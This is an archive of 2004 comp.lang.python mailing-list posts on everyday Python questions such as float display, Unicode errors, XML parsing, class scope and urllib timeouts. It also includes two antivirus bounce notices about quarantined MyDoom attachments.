>>>>> "Terry Reedy" <tjreedy at udel.edu> (TR) wrote:

TR> "Piet van Oostrum" <piet at cs.uu.nl> wrote in message
TR> news:wzisi7b9nj.fsf at cs.uu.nl...
>> >>>>> Brian <pythonista_at_sbcglobal_dot_net at invalid.net> (B) wrote:
>> 
>> >>>> print str(0.1)
B> 0.1
>> 
B> It's important to realize that this is, in a real sense, an illusion:
TR> the
B> value in the machine is not exactly 1/10, you're simply rounding the
B> display of the true machine value."
>> 
>> On the other hand, python could have done better.

TR> Python gives you a choice between most exact and 'pleasant'.  This *is*
TR> better, in my opinion, than no choice.

0.10000000000000001 is not more exact then 0.1. It is a false illusion of
exactness. 

>> There are algorithms to
>> print floating point numbers properly with a more pleasant output[1]:
>> in this particular case python could have given "0.1" also with "print
TR> 0.1".

TR> What?  In 2.2:
>>>> print 0.1
TR> 0.1

TR> did this change in 2.3?

Ok, mistake, I should have left out the print. But you should know what I
mean.

>> Unfortunately most C libraries only use the stupid algorithm which often
>> gives some useless digits.

TR> They are not useless if you want more accuracy about what you have and what
TR> you will get with further computation.  Tracking error expansion is an
TR> important part of designing floating point calculations.

>> This is because ideally it should print the representation with the least
>> number of digits that when read back gives the same internal value as the
>> number printed. In this case that is obviously "0.1".

TR> This is opinion, not fact.  Opinions are divided.

It would cause no errors and it would prevent a lot of the questions that
appear about every few days here about this subject. So what is the
advantage of printing 0.10000000000000001 or xx.xxx999999999998?
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From martin at v.loewis.de  Mon Feb  9 17:39:05 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 09 Feb 2004 23:39:05 +0100
Subject: unicode codecs
In-Reply-To: <c08vv1$f61$1@bagan.srce.hr>
References: <c08sbk$c4u$1@bagan.srce.hr>
	<g1vf201kc9sl3m82un3jhekdje1m0ovlu9@4ax.com>
	<c08vv1$f61$1@bagan.srce.hr>
Message-ID: <c09267$mvu$04$1@news.t-online.com>

Ivan Voras wrote:
> - win32api function returns a string (8bit) with some of the characters 
> from the upper half of code page, let's call it s1

Are you absolutely certain that type(s1) is str?

> - a statement such as a='x'+s1 fails with the above error.

Are you absolutely certain the constant is the literal string 'x'?

> I don't really know why should concatenation check if characters are 
> 7-bit clean (or indeed if they represent anything in whatever code page).

As you have shown, there would be no need, and indeed, Python will not
check code pages in this case. So you must be doing something else.

> - call the unicode version of function. Returned is a unicode string 
> (checked, it really is unicode) like u'R\xfcgenwald.txt', let's call it s2
> - a statement a='x'+s2.encode('iso-8859-2') also fails with the exact 
> same error.

How do you know it is the concatenation that causes the exception?

> The exact error is:
>   File "E:\develop\pynetdb\netdbcreate.py", line 32, in walkdirs
>     fullname = root+'\\'+filename
> UnicodeDecodeError: 'ascii' codec can't decode byte 0xc3 in position 1: 
> ordinal not in range(128)
> 
> The filename variable contains (in my latest effort) utf-8 encoded value 
> 'R\xc3\xbcgenwald.mp3', and root variable contains a normal non-unicode 
> string.

Which string precisely (what is its repr())?

Regards,
Martin



From eelgueta at navix.cl  Tue Feb  3 15:44:29 2004
From: eelgueta at navix.cl (Eduardo Elgueta)
Date: Tue, 3 Feb 2004 17:44:29 -0300 (CLST)
Subject: GD/gdmodule on Win XP
In-Reply-To: <m2isiods4x.fsf@mother.paradise.lost>
References: <3b3f63ed.0402021435.1937f119@posting.google.com><m24qu95al6.fsf@mothe
	r.paradise.lost><61819.200.90.172.177.1075815606.squirrel@www.navix.cl
	> <m2isiods4x.fsf@mother.paradise.lost>
Message-ID: <2084.192.168.230.4.1075841069.squirrel@www.navix.cl>

John,

Ok. See you around.

Ed.

<cita quien="John Hunter">
>>>>>> "Eduardo" == Eduardo Elgueta <eelgueta at navix.cl> writes:
>
>     Eduardo> John, Thank you very much for such a complete answer.
>
>     Eduardo> I'll try it and let you now if I succeed building the
>     Eduardo> patched gdmodule.
>
> That would be great.  In the mean time, I have two more pieces of
> advice
>
> There is a strange bug that Stefan discovered when saving some images
> on win32.  You need to change the line in
> matplotlib.backends.backend_gd.print_figure  from
>
>         im.writePng( file(filename, 'wb') )
> to
>         im.writePng( filename )
>
> Also, if you need windows installers for fonttools, I built them last
> night for python2.2 and python2.3.  Let me know and I'll send you one.
>
> I'd like to add a section 'building GD on win32' to the website, so
> let me know if you have anything to add to that.
>
> JDH
>
>


-- 
Eduardo Elgueta
Senior Consultant
Navix

correo/email: eelgueta at navix.cl
tel?fono/phone: +56 (2) 209-8905
celular/mobile: +56 (9) 821-0033
web: www.navix.cl

Av. Pedro de Valdivia 555 Of. 216
Providencia 750-0913
Santiago, Chile



From jcarlson at nospam.uci.edu  Sun Feb 29 15:04:10 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Sun, 29 Feb 2004 12:04:10 -0800
Subject: pyAlbum
In-Reply-To: <mailman.3.1078050548.21439.python-list@python.org>
References: <mailman.3.1078050548.21439.python-list@python.org>
Message-ID: <c1tgot$e2$1@news.service.uci.edu>

Your presentation is inaccurate.

http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide3.jpg.htm

Python /is not a derivative, nor a successor/ to ABC.  To know why, read 
the following two articles:
http://www.artima.com/intv/python.html
http://www.artima.com/intv/pyscale.html


http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide6.jpg.htm

Portable: works on any platform with a decent C compiler, or platforms 
with Java support (via Jython).
I also believe it is byte-code compiled whenever possible (user can 
write to the filesystem).

http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide8.jpg.htm

At the command line:
C:\winnt>python
Python 2.2.2 (#37, Oct 14 2002, 17:02:34) [MSC 32 bit (Intel)] on win32
Type "help", "copyright", "credits" or "license" for more information.
 >>> print "hello"
hello


http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide10.jpg.htm

One thing to note, raw_input only returns strings.  C++'s cin can read 
ints, floats, etc.


http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide15.jpg.htm
http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide27.jpg.htm

It is extremely bad form to use the name 'str' in any context.  Also, 
slicing is usable on any sequence; lists, strings, tuples, or really any 
class with a __getslice__ method.

Perhaps you need to read up on the difference between mutable and 
immutable sequences, it would make discussion about them easier.
http://www.python.org/doc/current/lib/typesseq.html


http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide18.jpg.htm

Suggests that only strings can be used as keys.  Reality is that any 
immutable type can be used as a key; strings, tuples, integers, floats, 
types themselves.  You can also nest them with tuples, ('hello', 5, int)


http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide22.jpg.htm
http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide28.jpg.htm

No need for functional semantics on returns, using "return val" is 
sufficient.


http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide23.jpg.htm

if <expression>:
     statements
elif <expression>:
     statements
else:
     statements


http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide24.jpg.htm

Parenthesis not required for 'while' loops, or really any conditional 
expression, unless you need to be explicit about operation associations.


http://www24.brinkster.com/premshree/python-seminar-210204/slides/pySlide30.jpg.htm

Python classes can contain almost anything your heart desires.  Static 
and dynamic class and instance variables are all possible.



Some fairly rudimentary fact-checking would have prevented the 
errors/oversights listed above.
  - Josiah


From healthed at hotmail.com  Sun Feb 22 14:07:01 2004
From: healthed at hotmail.com (weasel)
Date: Sun, 22 Feb 2004 19:07:01 GMT
Subject: Conversion code not working properly
Message-ID: <3uuh305tv9o3g5dpenoqaghtbkiuihdpua@4ax.com>

Why is the Farenheit to Celsius part not working properly? Instead of
showing a similar range of what the farenheit is listing, the celsius
portion is showing half the range of farenheit.

print "\nWelcome to the Temperature program" 

while True:
    low1 = raw_input("Please enter a low temperature: ").upper()
    if low1 != 'I QUIT':
        low = int(low1)
    if low1 == 'I QUIT':
        break

    
    high = int(raw_input("Please enter a high temperature: "))
    temp = raw_input('Please indicate Celsius or Fahrenheit ').upper()

    while not temp or temp not in 'CF':
	temp = raw_input('Please indicate Celsius or Fahrenheit
').upper()
    
    if temp == 'C' and low <= high:
        
        low_other_temp = (9 / 5 * low) + 32
        high_other_temp = (9 / 5 * high) + 32
        rnge = range(low, high + 1)
        faren = range(low_other_temp, high_other_temp + 1)  
        print rnge
        print faren
   
    elif temp == 'F' and low <= high:

        num1 = low - 32
        num2 = high - 32
        low_temp = num1 * 5/9
        high_temp = num2 * 5/9
        rnge = range(low, high + 1)
        celsi = range(low_temp, high_temp + 1)
        print rnge
        print celsi
    
    else:
        print 'Invalid temperatures specified! The low must be less
than the high!'

    exit = raw_input('Hit <enter> to continue. Type " I quit" in the
low temp field to exit.')
    print 'Returning to main.'


From CMathena at usa.edu  Mon Feb  2 08:22:43 2004
From: CMathena at usa.edu (Cindy Mathena)
Date: Mon, 2 Feb 2004 08:22:43 -0500
Subject: Virus Found in message "TEST"
Message-ID: <EA1DCA4F4A316947B15EA9C09DD7761D0B90C2@usa-email.usa.edu>

Symantec AntiVirus found a virus in an attachment you (python-list at python.org <python-list at python.org>) sent to Cindy Mathena.

To ensure the recipient(s) are able to use the files you sent, perform a virus scan on your computer, clean any infected files, then resend this attachment.


Attachment:  message.pif
Virus name: W32.Novarg.A at mm
Action taken:  Quarantine succeeded : 
File status:  Infected



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From anand at easi.soft.net  Tue Feb 10 08:39:57 2004
From: anand at easi.soft.net (Anand K Rayudu)
Date: Tue, 10 Feb 2004 19:09:57 +0530
Subject: C Embedding problem, ImportError
References: <bvotqc$555$1@ousrvr3.oulu.fi>
Message-ID: <4028DF2D.2000501@easi.soft.net>


hi Tero,

I also faced similar kind of problem on HP & IBM workstations.
This is how i solved.

run python outside & do following.
It gives out the link options required for that platform, just 
re-compile your application with those options.

more information you can find out in python documentation chapter 


  5.6 Linking Requirements

in my downloaded documentation it is at ~/python-docs-2.3/ext/link-reqs.html

>>> import distutils.sysconfig
>>> distutils.sysconfig.get_config_var('LINKFORSHARED')
'-Xlinker -export-dynamic'

Hope this helps!! :-)

Anand



Tero Pihlajakoski wrote:

>I'm trying to run some python scripts from a proggy of mine. Most of the
>time it works great, but I seem to be having problems with some
>modules. Here's what I get when I try importing math (applies to all
>.../lib-dynload/ modules, I guess):
>
>ImportError: /usr/lib/python2.3/lib-dynload/math.so: undefined
>symbol: PyExc_OverflowError
>
>Executing the same script from command-line works ok. What gives?
>I'm using python 2.3.2, and the file using the python/c is compiled
>invoking: 
>
>gcc -o libabc.lib -shared -fpic lpython2.3 -lm abc.c
>
>Thanks,
> 
>- Tero
>
>  
>

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From slzatz at hotmail.com  Mon Feb 23 13:20:27 2004
From: slzatz at hotmail.com (Steve Zatz)
Date: 23 Feb 2004 10:20:27 -0800
Subject: MySQLDB - generating "...not in (1,2,3)" from Python list ?
References: <mailman.197.1077534282.27104.python-list@python.org>
Message-ID: <6747bc9d.0402231020.11b3de2a@posting.google.com>

Don't you just want:

cursor.execute("select * from T where C1 not in (%s,%s,%s)",params)

The DBAPI should be fine with params being a python list of integers
(as long as there are three of them).


From __peter__ at web.de  Mon Feb 23 05:58:10 2004
From: __peter__ at web.de (Peter Otten)
Date: Mon, 23 Feb 2004 11:58:10 +0100
Subject: modeling python with UML
References: <c1ckru$jgu$1@news.rz.uni-karlsruhe.de>
Message-ID: <c1cmc2$t9q$03$1@news.t-online.com>

Uwe Mayer wrote:

> I was trying to model some classes, modules and packages of mine with UML
> and got the following problem:
> 
> Packages would be moduled as UML packages i presume.
> 
> If your module contains only functions you can model them as static class
> methods, either by writing a dummy class that takes them up or by
> representing the file as a class.
> 
> However, if you module contains several classes - what do you do then?

Just mark the class containing the global functions and variables with the
<<utility>> stereotype? A naming convention could be helpful, too.

Peter



From sidharthk at hotmail.com  Tue Feb 10 22:31:42 2004
From: sidharthk at hotmail.com (sid)
Date: Wed, 11 Feb 2004 09:01:42 +0530
Subject: Creating objects you don't actually want
References: <d232c5e.0402100250.20e49e37@posting.google.com>
	<c0ajph$153q3a$1@ID-223265.news.uni-berlin.de>
	<40291a89@nntp0.pdx.net>
Message-ID: <c0c7mn$157q8g$2@ID-223265.news.uni-berlin.de>

me feels a bit stupid:-)

Thanks for the observation.









From peter at engcorp.com  Wed Feb 18 12:28:05 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 18 Feb 2004 12:28:05 -0500
Subject: strings with moreover of one million of characters
References: <c0vic2$fe0$1@nsnmrro2-gest.nuria.telefonica-data.net>
Message-ID: <4033A0A5.D1022AA3@engcorp.com>

"Jos? Carlos" wrote:
> 
> Is possible use strings with moreover of one million of characters?
> 
> I try using int() but the program keep blocked.

Maybe posting a bit of the code you are writing would help us
understand the question better.

(Also, "moreover" is not the right word there, but I don't quite
know what you meant.  Strings can definitely contain more than
one million characters...)

-Peter


From sang at bittersoft.com  Mon Feb  9 00:28:24 2004
From: sang at bittersoft.com (sang park)
Date: Mon, 9 Feb 2004 00:28:24 -0500
Subject: question about python "casting"
Message-ID: <GCEKJKEAFIPHBANOCMHDAEAECCAA.sang@bittersoft.com>

Hi all -  Just started learning Python this past week and had a question
about using the lists in python with objects.  (code attached below).

basically, what i want to do is read an xml file, and load a list of Objects
(in this case, TTSProject objects).  the problem i see when i try to run it,
is the following:

name :
Traceback (most recent call last):
  File "ProjectParser.py", line 63, in ?
    print "name : ", p.name
AttributeError: 'NoneType' object has no attribute 'name'

i was wondering what the proper way to accomplish this would be.  any help
would be appreciated.

thanks,

sang



from xml.dom import minidom

print "Starting"
xmldoc = minidom.parse('projects.xml')
print "Getting the root node"
root = xmldoc.childNodes
projectlist = root[0].childNodes
print "project list node"


class TTSProject:
    def __init__(self):
	    self.tags = {};

projects = []

def getText(nodes):
    for node in nodes:
        if node.nodeType == node.TEXT_NODE:
            return node.data

def getProject (nodes):
    project = TTSProject()
    if nodes.nodeType == nodes.ELEMENT_NODE:
        datanodes = info.childNodes
        dataStr = getText(datanodes)
#        print info.nodeName, ":", dataStr
        if dataStr == "name":
            project.name = dataStr
        if dataStr == "email":
            project.email = dataStr
        if dataStr == "admin":
            project.admin = dataStr
        if dataStr == "description":
            project.description = dataStr
    return project

for p in projectlist:
    projectInfo = p.childNodes
    for info in projectInfo:
        project = getProject(info)
        projects.append(project)

for proj in projects:
    print "name : ", proj.name
    print "email : ", proj.email
    print "admin : ", proj.admin
    print "description : ", proj.description




From piet at cs.uu.nl  Fri Feb 27 09:55:30 2004
From: piet at cs.uu.nl (Piet van Oostrum)
Date: 27 Feb 2004 15:55:30 +0100
Subject: Reading selected data from text files
References: <c1njho$adr$1@nemesis.news.tpi.pl>
Message-ID: <wzk728inbx.fsf@Ordesa.local>

>>>>> "..:: sjf ::.." <sjf at autograf.pl> (SJF) wrote:

SJF> Hello Pythoners!
SJF> There are a lot of files containing data such as:

SJF> file1:
SJF> 0950 1550

SJF> file22:
SJF> 0952 1552

SJF> file3:
SJF> 1000 1020 1050 1130 1150 1200 1245 1600

SJF> file4:
SJF> 1002 1022 1052 1132 1152 1202 1247 1602

SJF> file5:
SJF> 1005 1025 1055 1135 1155 1205 1250 1605

SJF> I want to read from them only that data which produce a following sequence
SJF> of data:
SJF> => 0950 0952 1000 1002 1005
SJF> => 1555 1557 1600 1602 1605

How do you get at these values, as 1555 and 1557 aren't in your input files?
-- 
Piet van Oostrum <piet at cs.uu.nl>
URL: http://www.cs.uu.nl/~piet [PGP]
Private email: P.van.Oostrum at hccnet.nl


From beliavsky at aol.com  Thu Feb 19 16:30:24 2004
From: beliavsky at aol.com (beliavsky at aol.com)
Date: 19 Feb 2004 13:30:24 -0800
Subject: Python Productivity Gain?
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>
	<3064b51d.0402181326.1b046f29@posting.google.com>
	<1039hhilrs4rb5@corp.supernews.com>
Message-ID: <3064b51d.0402191330.17ed59b0@posting.google.com>

claird at lairds.com (Cameron Laird) wrote in message news:<1039hhilrs4rb5 at corp.supernews.com>...

> These are good points to raise.

Thanks for your informative reply. 

> Fortran's my first language.  I have little opportunity nowadays to
> exercise it, much as I'd like to do so.  I'm certainly not as current
> with it as you.

If you are willing to spend the time to learn it, a subset Fortran 95
language called F is free for Windows, Linux, and other platforms --
see http://www.fortran.com/F . A project to create a full Fortran 95
open-source compiler is well underway and may be completed this year.

> When I read, "It's also clear from reading the declarations what the
> function is returning ...", I take it that you have in mind such 
> distinctions as FLOAT vs. INT.  Reasoning about types is a *frequent*
> topic of discussion in comp.lang.python.  I'll summarize my experience
> this way:  FLOAT vs. INT (and so on) takes little of my day-to-day
> attention.  I focus on unit tests and coding which is semantically
> transparent in a more comprehensive way than just type-correctness.
> Therefore, while I acknowledge the advantages you describe for Fortran,
> I categorize them mostly as, "no big deal".

It's not just float vs. int. Below is a very simple illustration --
code to compute the standard deviation of a set of numbers, in Fortran
95 and Python. In the F95 code, it is clear that
(1) x(:) is a 1-d array of real's that will not be changed inside the
function (note the intent(in))
(2) the function returns a single value (F95 functions can return
arrays and structures, if they are declared as such).
(3) the function has no side-effects because it is declared PURE.

In the python code, all you know is that sd() takes one argument. It
could change that argument or some other global variable. It could
return a scalar that is real, integer, or something else. It could
return a list, a 1-D Numeric array, a 2-D Numeric array etc.

pure function sd(x) result(value) 
   ! compute the sd of a vector 
   real    , intent(in) :: x(:)
   real                 :: value
   integer              :: n 
   real                 :: xmean
   n = size(x) 
   value = 0.0 
   if (n < 2) return
   xmean = sum(x)/n
   value = sqrt(sum((x-xmean)**2)/(n-1.0))
end function sd

def sd(x):
    """ compute the sd of a vector """
    n = size(x)
    if (n < 2): return -1
    xmean = sum(x)/n
    return sqrt(sum((x-xmean)**2)/(n-1.0))

In this case, and for other numerical work, I prefer Fortran 95 to
Python, even ignoring speed advantages and the advantage of an
executable over a script. F95 can look a lot like Python -- no curly
braces or semicolons, and a lack of C/C++ trickery in general.

Of course, Python and other scripting languages were not primarily
designed for numerical work. Numeric Python is powerful and elegant.

Another point. Python advocates often claim it is better than compiled
languages because the code is much shorter. They rebut worries about
the loss of safety by recommending unit testing. In a Fortran 95 or
C++ program, I don't think as many tests need to be written, because
the compiler catches many more things. If you include the amount of
testing code when counting the amount of code needed, I suspect
Python's brevity advantage will partly disappear. Also, I regard unit
tests to check what happens when a Python function is called with
invalid arguments (int instead of float, scalar instead of array) as
low-level, tedious work that I would rather delegate to a compiler.
Scripting advocates claim that their languages are higher level than
compiled languages, but in this case the reverse is true -- the
compiler does more work for you than the interpreter does.


From brian at sweetapp.com  Tue Feb 10 16:46:39 2004
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 10 Feb 2004 13:46:39 -0800
Subject: package similar to XML::Simple
Message-ID: <002501c3f01f$5d8b5290$0000fea9@dell8200>

Peter Hansen:

> I suspect it's still somewhat ahead of a lot of other
> "XML parsers" anyway, though clearly imperfect and arguably not yet 
> deserving of the label "XML parser".

Then they are not XML parsers either. I know that libxml passes the W3C XML
test suite: 
http://www.w3.org/XML/Test/

> I wonder whether this has been reported as a bug to Reportlab, 
> however. Maybe they simply didn't happen to have a test case that 
> covered that particular use of the parser... and they might be happy 
> to fix it.

The errors message "not a valid 8-bit XML character" suggests that there is
more at work here than a simple bug. 

Cheers,
Brian




From martin at v.loewis.de  Wed Feb 11 12:30:27 2004
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Wed, 11 Feb 2004 18:30:27 +0100
Subject: How to bound a method to a instance ?
In-Reply-To: <c0cn8b$31u$1@news.tudelft.nl>
References: <4026DC5D.591FB4FD@free.fr> <c079q4$ml7$00$1@news.t-online.com>
	<c0cn8b$31u$1@news.tudelft.nl>
Message-ID: <c0dorf$kec$07$1@news.t-online.com>

Maarten van Reeuwijk wrote:
> Thank you emmanuel for asking this question, I was wondering exactly the
> same thing. Is it also possible to override the reload method to make it
> (besides reloading) to scan through all namespaces for objects of class
> toto.toto and replace their methods automatically? What would that code
> look like?

In general, it is impossible or atleast very inefficient to do that.
It may be easiest if toto.toto would prepare itself for reloading:

import weakref
try:
   weakref.totos
except AttributeError:
   weakref.totos = []

class toto:
   def __init__(self, args):
     weakref.totos.append(weakref.ref(self))
     ...

def update_totos():
   for t in weakref.totos:
     t = t()
     if t: t.__class__ = toto

def shrink_totos():
   totos = []
   for t in weakref.totos:
     if t(): totos.append(t)
   weakref.totos=[]

Then, after reloading toto, invoke toto.update_totos(). From
time to time, invoke weakref.shrink_totos(), to discard unused
weak references.

If you absolutely want to update all objects without preparing
a list earlier, you can use gc.get_objects() to find all containers;
you need to find out which of those are totos. Don't compare the
classes of the objects for identity (o.__class__ is toto.toto), unless
you have a reference of the old class (i.e. before reloading).

Regards,
Martin



From gsmith at oxfam.org.uk  Tue Feb  3 05:11:43 2004
From: gsmith at oxfam.org.uk (Graham)
Date: Tue, 3 Feb 2004 10:11:43 -0000
Subject: Variable scope within a class
Message-ID: <401f72f4$0$9388$ed9e5944@reading.news.pipex.net>

How do I make a variable available to code *inside* my class in such a way
that it is available to all defs in the class? In my example below f is not
accessible within the showVars method.

class myClass:
    f = [1,2,3]

    def showVars ( self ):
        print f # Error here as f does not exist

def main():
    x = myClass()
    print x.f
    x.showVars()

if __name__ == "__main__":
    main()


Thanks to anyone who can offer some guidance to a Python beginner!
Graham.





From __peter__ at web.de  Wed Feb 18 04:33:41 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Feb 2004 10:33:41 +0100
Subject: hmm, lets call it: generic __init__  problem
References: <c0u0fa$1asj0f$1@ID-131134.news.uni-berlin.de>
Message-ID: <c0vbhm$slt$01$1@news.t-online.com>

paul k?lle wrote:

> in the course of writing a small app, I tried to design a class, which
> would allow to derive its behaviour solely from its name, so that I
> would be able to write one abstract class with the logic and get
> different objects/instances by subclassing with appropriate names.
> Consider the following:

[quotes as mutilated by my news reader :-(]

> ATTRS = {'one':['attr1', 'attr2'],
> 'two':['attr3','attr4'],
> 'three':['attr5','attr6'],
> 'four':['attr7','attr8']}
> 
> 
> class one:
> def __init__(self, *args, **kwargs):
> ## get allowed attributes...
> for attr in ATTRS[self.__class__.__name__]:
> self.__dict__[attr] = ''
> 
> ## unknown attributes are silently ignored...
> for item in kwargs.keys():
> if self.__dict__.has_key( item ):
> self.__dict__[item] = kwargs[item]
> else:
> pass

Superfluous else: pass

> ## init all parents...
> parents = self.__class__.__bases__
> if parents:
> for i in range(len(parents)):
> apply(parents[i].__name__.__init__,\                                                          
> (self,)+args, kwargs)

In current python:

for parent in  parents:
    parent.__name__.__init__(self, *args, **kwargs)

However, you are calling the __init__() method of a string (parent.__name__)
which is a noop as strings are immutable (I'm surprised it didn't fail).
I suppose you intended to call parent.__init__() which would result in
infinite recursion as you determine the class to operate on by
self.__class__ which will always be the same.

I think this is what you want:

ATTRS = {'one':['attr1', 'attr2'],
         'two':['attr3','attr4'],
         'three':['attr5','attr6'],
         'four':['attr7','attr8']}

class one:
    def __init__(self, **kwargs):
        ## get allowed attributes...
        classes = [self.__class__]
        while classes:
            cls = classes.pop(0)
            for attr in ATTRS[cls.__name__]:
                self.__dict__[attr] = ''
            classes.extend(cls.__bases__)

        ## unknown attributes are silently ignored...
        for key, value in kwargs.iteritems():
            if key in self.__dict__:
                self.__dict__[key] = value

class two(one):
    def foo(self):
        pass

class three(one):
    def bar(self):
        pass

class four(two, three):
    def wiskey_bar(self):
        pass

params = dict(attr1="a", attr3="b", attr5="c", attr7="d")
for klass in [one, two, three, four]:
    obj = klass(**params)
    print klass.__name__
    print "\t", [a for a in dir(obj) if not a.startswith("_")]

> Apart from the obvious mistake I can't figure out:
> 1) Is this intelligent at all?

Is there a polite way of saying no?
Seriously, have a look at the tutorial to get uptodate with the current
python features, then set yourself a real task and try to solve it in the
simplest and cleanest manner. I am confident that you will *not* need
multiple inheritance or attributes with pointless default values.
IMHO silently ignoring anything is strongly against python's philosophy.

> 2) Is there a better way to do it?

I'm sure there would be if only I knew what *it* is meant to be.

> 3) How do you change tabwidth in mozilla mail?

No idea, but changing from tabs to spaces is urgent, as you can see from the
quotes.

Peter


From simoninusa2001 at yahoo.co.uk  Wed Feb 11 11:24:25 2004
From: simoninusa2001 at yahoo.co.uk (simo)
Date: 11 Feb 2004 08:24:25 -0800
Subject: Installer mirror?
References: <4f0a9fdb.0402102203.79f24b1e@posting.google.com>
Message-ID: <30260531.0402110824.3665d3a5@posting.google.com>

miki.tebeka at zoran.com (Miki Tebeka) wrote:

> I'm trying to get McMillan's installer at
> http://www.mcmillan-inc.com/install1.html but get "You don't have
> permission to access /install1.html on this server."
> 
> Anywhere else I can get it?

Yes I've been looking for a mirror too - can't find anything in
SourceForge or Freshmeat :-(

I wonder if this means Gordon has stopped distributing it, or maybe it
heralds a new version coming soon....


From ttn at glug.org  Tue Feb 24 09:08:30 2004
From: ttn at glug.org (ttn at glug.org)
Date: Tue, 24 Feb 2004 19:38:30 +0530
Subject: Information
Message-ID: <200402241409.TAA13930@popsvr.india.ti.com>

---------------- Virus Warning Message --------------------

Found virus WORM_MYDOOM.F in file info.exe (in info.zip)
The uncleanable file is deleted.

--- TI E-Mail --------------------------- Server dlep51 ---
-------------- next part --------------
Details are in the attached document. You need Microsoft Office to open it.

-------------- next part --------------

---------------- Virus Warning Message --------------------

info.zip is removed from here because it contains a virus.

--- TI E-Mail --------------------------- Server dlep51 ---

From paul at prescod.net  Tue Feb 17 20:14:52 2004
From: paul at prescod.net (Paul Prescod)
Date: Tue, 17 Feb 2004 17:14:52 -0800
Subject: Is there Multi-media support in Python ?
In-Reply-To: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
References: <Ue3Yb.236855$rj7.1534201@twister.tampabay.rr.com>
Message-ID: <4032BC8C.8010207@prescod.net>

Will wrote:

> Is there multi-media support in Python? So I can...
> 
> 1 - play video in all the standard formats... windows & Mac?
> 2 - play flash files
> 3 - Power Point
> 4 - Standard graphic formats
> 5 - Sound in all the standard formats
> 6 - etc

Python is a programming language. All it does is computations. Python 
can be embedded into environments that can do more than computations. 
e.g. you can embed it into a Windows MFC window or a Pygame application 
or a Macintosh Carbon application. In each environment you will get a 
different mix of features.

If you tell us your operating system we can tell you what environment 
you might want to embed Python in with all of these capabilities. Python 
itself has a lot less to do with it than the GUI you are using Python 
within.

  Paul Prescod





From drconrad at metaplay.com.au  Tue Feb  3 21:53:31 2004
From: drconrad at metaplay.com.au (Simon Wittber)
Date: Wed, 4 Feb 2004 10:53:31 +0800
Subject: Unexpected mod-python behaviour.
In-Reply-To: <1020imbjjcnj524@corp.supernews.com>
Message-ID: <000201c3eaca$1327e1a0$0000fea9@simonxp>

Greetings fellow Python People!

I am using the latest debian-unstable Apache 1.3 and mod-python 2.7 with
python 2.3.3

Yesterday I wrote a small mod-python script which returned the URL
entered as a XML snippet.

This morning, I created a new directory, and copied this script and
.htaccess file across to a new directory, and changed the program to
return a list of tables and fields in a MySQL table.

I was making good progress, things were working great. Then I hit
refresh (Ctrl-R), _twice_, in Mozilla, and lo-and-behold, I received an
XML snippet of the URL. The program I wrote _yesterday_ appeared to be
running instead of my current work! This is *not* a caching problem, as
I am able type in different URL's and receive the correct XML snippet
back in the browser.

I am not importing modules, I am writing all my code in the handler.py
file, which is pointed at by my .htaccess file, so this is not a module
reloading problem. 

This is extremely bizarre behaviour, and I am unable to track down the
problem. The only solution is to restart apache, which is unacceptable.
What if this happened in a production environment?

Can anyone explain this weirdness?




From paul at prescod.net  Wed Feb 18 09:39:56 2004
From: paul at prescod.net (Paul Prescod)
Date: Wed, 18 Feb 2004 06:39:56 -0800
Subject: Python Productivity Gain?
In-Reply-To: <xqxptce16g3.fsf@cola2.ca.boeing.com>
References: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>	<36wk72njpa8.fsf@goya03.ti.uni-mannheim.de>	<4030D457.D193F14C@engcorp.com>	<36wfzdajavi.fsf@goya03.ti.uni-mannheim.de>
	<xqxptce16g3.fsf@cola2.ca.boeing.com>
Message-ID: <4033793C.2070809@prescod.net>

Harry George wrote:
> ... 
> Of course, even in the natural history phase pioneers and advance
> scouts are capable of detecting an easier pass through the mountains
> of comlexity.  If 20 people from varied background, each of whom has
> worked in several languages, tell me that Python is a really great
> language, then I'll take that as a significant data point.  Especially
> if they are dumping their previously favorite languages (as varied as
> COBOL, Perl, Java, C++, VB, Modula-3, Lisp, Prolog) to focus on
> Python.

It would be easy to find 20 such people but it would be easy to find 20 
such people for almost any language. I think that the PERCENTAGE of 
people who are happy with Python and would gladly stick with it for a 
few years is higher than with most other languages but if you're just 
looking for 20 fanboys you can certainly find them for any modern language.

  Paul Prescod





From wweston at att.net  Thu Feb 26 10:39:09 2004
From: wweston at att.net (wes weston)
Date: Thu, 26 Feb 2004 15:39:09 GMT
Subject: configure 'time out' time for urllib
In-Reply-To: <403DD771.F58FBF24@molgen.mpg.de>
References: <403DD771.F58FBF24@molgen.mpg.de>
Message-ID: <xqo%b.45620$aH3.1414509@bgtnsc04-news.ops.worldnet.att.net>

Andreas,
    I had a similar problem and coded in two tries; could be 3,4 etc.
I couldn't find a way to set the timeout.

Andreas Dahl wrote:
> Hi,
> 
> I use urllib to retrieve data via HTTP. Unfortunately my program crashes
> after a while (after some loops) because the connection timed out.
> 
> raise socket.error, msg
> IOError: [Errno socket error] (60, 'Connection timed out')
> 
> I am not so familiar with python, but is there a possibility to
> configure the 'waiting time'? Or how can I handle such an event? To skip
> that query and go to the next one would also work.
> 
> Many thanks in advance, Andreas
> 
> code:
>     params = urllib.urlencode({'rs': rs})
>     try:
>         file =
> urllib.urlopen("http://www.ncbi.nlm.nih.gov/SNP/snp_ref.cgi?%s" %
> params)
>     except IOError, message: # file open failed
